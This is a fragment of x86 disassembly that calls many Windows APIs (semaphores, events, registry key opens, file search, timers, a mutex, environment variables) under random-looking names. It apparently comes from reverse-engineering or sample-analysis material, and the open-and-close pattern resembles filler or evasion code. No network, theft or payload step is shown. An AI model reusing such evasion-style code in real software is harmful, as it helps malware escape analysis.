push dword [ebp - 0x2c]
call dword [0x41706c]
push dword [ebp - 0x14]
call dword [0x41706c]
push str.SMPHR_44raepq5
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push str.log:_x2tnpurx
mov esi, eax
call ebx
push 0
push 1
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
test eax, eax
je 0x40bddb
lea eax, [ebp - 0x40]
push eax
push 0x20019
push 0
push str.reg8czm43e8
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push str.ev_l0gyian9
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
call dword [sym.imp.KERNEL32.dll_ResetEvent]
lea eax, [ebp - 0xa60]
push eax
push str.s_nrgnjxfk
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push str.log:_kv4b6txn
call ebx
push str.XML1p4wi5nq
push 1
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push 0x6ab
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea eax, [ebp - 0x5c]
push eax
push 0x20019
push 0
push str.regc167tikm
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
push str.WTMR_b6shex8x
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
test eax, eax
je 0x40be8c
push eax
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push str.log:_5otq6k88
call ebx
jmp 0x40be8e
call edi
xor ebx, ebx
push ebx
push 0xccd
push ebx
push 4
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.yvjbjcwx
push str.aa7g80bs
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push str.MTXx6bpbtxa
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push ebx
push ebx
mov ebx, dword [ebp - 0x18]
push ebx
call dword [0x41719c]
inc eax
push eax
push ebx
push 0
push 0xfde9
call dword [0x4170b0]
mov edi, eax
lea ebx, [edi + edi]
push ebx
push 0x40
call dword [0x41704c]
mov esi, eax
test edi, edi
je 0x40bf1b
push edi
mov edi, dword [ebp - 0x18]
push esi
push edi
call dword [0x41719c]
inc eax
push eax
push edi
push 0
push 0xfde9
call dword [0x4170b0]
xor eax, eax
mov word [ebx + esi - 2], ax
jmp 0x40bf1e
mov edi, dword [ebp - 0x18]
test esi, esi
je 0x40bf29
push esi
call dword [0x4170cc]
push dword [ebp - 0x20]
call dword [0x4170cc]
push edi
call dword [0x4170cc]
push dword [ebp - 0x24]
call dword [0x4170cc]
xor eax, eax
inc eax
jmp 0x40b681